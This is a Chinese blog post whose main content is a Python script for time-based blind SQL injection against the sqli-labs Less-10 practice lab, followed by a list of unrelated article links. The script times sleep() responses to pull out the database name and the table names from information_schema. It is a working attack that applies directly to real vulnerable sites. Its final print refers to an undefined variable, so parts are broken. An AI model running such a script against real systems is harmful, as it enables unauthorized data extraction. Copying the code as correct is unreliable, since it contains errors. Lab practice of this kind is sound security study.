当前位置:网站首页>时间盲注脚本
时间盲注脚本
2022-08-03 05:22:00 【wuqinghalasao】
import requests,time,string # 假设页面无任何回显需要用到时间注入 url='http://192.168.28.133/sqli-labs-master/Less-10/?id=1" and ' a1=0 for a in range(10): start=time.time() res=requests.get(f"{url}if(length(database())={a},sleep(2),1)-- -") response = res.text end=time.time() if end-start>1: a1=a print(f'库名长度为{a1}') break low = 'abcdefghijklmnopqrstuvw,xyz' res1='' for a2 in range(a1+1): for a3 in low: start = time.time() res3 = requests.get(f"{url}if(substr(database(),{a2},1)='{a3}',sleep(2),1)-- - ") response4=res3.text end = time.time() if end-start>1: res1+=a3 print(f'库名为{res1}') # 查表数量,不需要判断表的数量,直接gruop_concat res8=[] # 取表名 res7 = '' for a7 in range(1,60): for a8 in low: start = time.time() res6 = requests.get(f"{url}if(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema='{res1}'),{a7},1)='{a8}',sleep(3),1) ") response6=res6.text end = time.time() if end - start > 2: res7+=a8 res8.append(res7) print(res8) print(f'数据库{res4}有{res8}表')
边栏推荐
猜你喜欢
随机推荐
uni-app 滚动到顶部/指定位置
Sentinel初次使用Demo测试
MySQL 安装报错的解决方法
Go (一) 基础部分2 -- if条件判断,for循环语句
动态调整web主题(2) 萃取篇
处理异步事件的三种方式
用C语言来实现扫雷小游戏
【解读合约审计】Harmony的跨链桥是如何被盗一亿美金的?
HoloLens联合发明人:打造理想的全天AR需要解决这些问题
【XSS,文件上传,文件包含】
Django从入门到放弃三 -- cookie,session,cbv加装饰器,ajax,django中间件,redis缓存等
浅谈函数递归汉诺塔
中国生物反应器行业发展现状及前景规划分析报告报告2022~2028年
【Yarn】yarn常用命令 查看日志和Kill任务
用iPhone前摄3D人像建模,Meta:我看行
Execute the mysql script file in the docker mysql container and solve the garbled characters
3588. 排列与二进制
lintcode2330 · 计算x秒后的时间
中国聚氯乙烯(PVC)土工膜发展动态及投资前景预测报告2022~2028年
Flask,1-2